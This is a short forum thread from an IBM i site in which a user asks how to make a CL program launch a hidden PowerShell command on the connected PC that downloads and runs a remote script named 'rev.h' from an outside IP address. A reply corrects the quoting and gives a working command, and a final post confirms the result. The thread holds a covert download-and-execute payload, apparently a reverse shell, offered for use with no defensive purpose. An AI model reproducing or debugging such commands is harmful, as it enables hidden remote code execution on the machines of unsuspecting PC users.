ibmi-brunch-learn

Announcement

Collapse
No announcement yet.

Trouble with

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

  • Trouble with

    Here is the code I am trying to get to work. I receive errors on missing parentheses or quotes, etc. and I'm not sure what I need to change to get to work. The goal is for the PC client to execute this command:

    Code:
    powershell.exe -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://1.1.1.1/rev.h'))"
    Here is what I have so far:

    Code:
     
     SEU==>                                                                   CLPGM
     FMT **  ...+... 1 ...+... 2 ...+... 3 ...+... 4 ...+... 5 ...+... 6 ...+... 7
            *************** Beginning of data *************************************
    0001.00 PGM                                                                    
    0002.00 STRPCO                                                                 
    0003.00 STRPCCMD PCCMD(STRPCCMD PCCMD(powershell -w hidden -c 'IEX ((new-object
    0004.00                net.webclient).downloadstring("http://1.1.1.1/rev.h
    0005.00                "))') PAUSE(*NO)                                        
    0006.00                                                                        
    0007.00                                                                        
    0008.00 ENDPGM                                                                 
            ****************** End of data ****************************************
    Any help would be much appreciated.

  • #2
    Try this (note that the single quotes are represented with 2 single quotes in a row within the string and the whole thing is surrounded by single quotes):
    Code:
    STRPCCMD PCCMD('powershell.exe -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://1.1.1.1/rev.h''))"') PAUSE(*NO)

    Comment


    • #3
      Pandora responded in a private message because for some reason he/she was unable to post a reply, so I'm posting it here:

      Sorry about not responding. My profile seems to be broken and I can even see into my own profile nor can I even respond to my own post. Not sure what is wrong. But I did want to thank you as I was able to get it all working.
      Code:
      VALUE('powershell -w hidden -c "IEX ((new-object +
      net.webclient).downloadstring(''http://<IP Address>/+
      rev.h''))"')

      Comment

      Working...
      X